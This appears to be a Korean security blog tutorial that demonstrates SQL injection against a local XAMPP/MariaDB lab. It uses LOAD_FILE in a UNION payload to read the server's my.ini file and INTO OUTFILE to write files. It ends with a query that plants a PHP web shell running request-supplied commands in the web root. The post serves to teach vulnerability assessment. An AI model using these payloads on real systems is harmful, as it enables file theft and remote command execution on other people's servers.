DoR@Hee의 끄적끄적

mysql load_file을 이용한 sql Injection 본문

취약점 진단/WEB

mysql load_file을 이용한 sql Injection

DoR@Hee 2019. 5. 6. 23:16

사용 환경 :

    - 서버: 윈도우7

    - 환경: xampp v3.2.3 

    - DB: 10.1.38-MariaDB

 

Load_file 은 서버에 있는 파일을 읽을 수 있는 함수이며 함수 사용 시  파일의 전체경로를 지정해주어야

한다. 만약, 파일이 존재하지 않거나 읽혀지지 않는다면 NULL 를 반환한다.

 

ex)Load_file('파일경로')

[그림1] LOAD_FILE 사용법 1 

LOAD_FILE 을 이용 C:\xampp\mysql\bin\my.ini 파일이 있는지 확인

 

[그림2] 결과

파일을 확인 할 수 있다.

 

[그림4] LOAD_FILE 사용법 2 

 

LOAD_FILE 을 이용 C:\xampp\mysql\bin\my.inia 파일이 있는지 확인

 

[그림4] 결과

 

파일이 없으므로 null 값이 나타는걸 확인

 

Load_FILE 을 이용한 SQL Injection

 

[그림5] SQL INJECTION이 존재하는 화면

LOAD_FILE을 이용한 SQL INJECTION을 확인하기 위해서 [그림5]와 같이 실행환경을 구축했다. 

union 문을 통해 sql injection 취약점을 발생시켰고

 

[그림6] LOAD_FILE을 이용한 sql injection my.ini파일 확인

[그림6]와 같이 my.ini파일의 내용을 확인 할 수 있다. 

쿼리는 아래와 같이 작성했으며 LOAD_FILE을 이용한것을 확인 할 수 있다.

1 && 1 like 2 union select  LOAD_FILE('C:/xampp/mysql/bin/my.ini'),1,1,1 from simple_sql_injection

 

into outfile을 이용한 파일 쓰기

[그림7] into OUTFILE 사용

 

sql injection 취약점이 존재 시 파일을 쓸 수 있는 함수인 into OUTFILE 이용 파일을 쓸 수 있다.

 

 

[그림8] 파일 생성 확인

/xampp/mysql/ 경로에 test.txt파일 생성을 확인 할 수 있고

 

[그림9] 파일 내용 확인

그에 따른 내용을 확인 할 수 있다

단) Mysql 유저가 파일 쓰기 권한이 있어야하고
리눅스 같은 경우 mysql 은 쓰고자 하는 폴더에 쓰기 권한이 있어야한다.

 

 

1 && 1 like 2 union select "<?php system($_REQUEST['cmd']); ?>",null,null,null into outfile '/xampp/htdocs/web.php' from simple_sql_injection

이런식으로 쿼리를 작성한다면 웹셀도 올릴 수 있다.

 

 

'취약점 진단 > WEB' 카테고리의 다른 글

sql 인젝션 우회 기법  (0) 2019.05.05
sql 문자열 결합 방법  (0) 2019.05.05
SQL Injection 종류  (0) 2019.04.27
mysql - information_schema  (0) 2019.03.26
Blind Sql Injection -값 길이, 값 가져오기  (0) 2019.03.25
Comments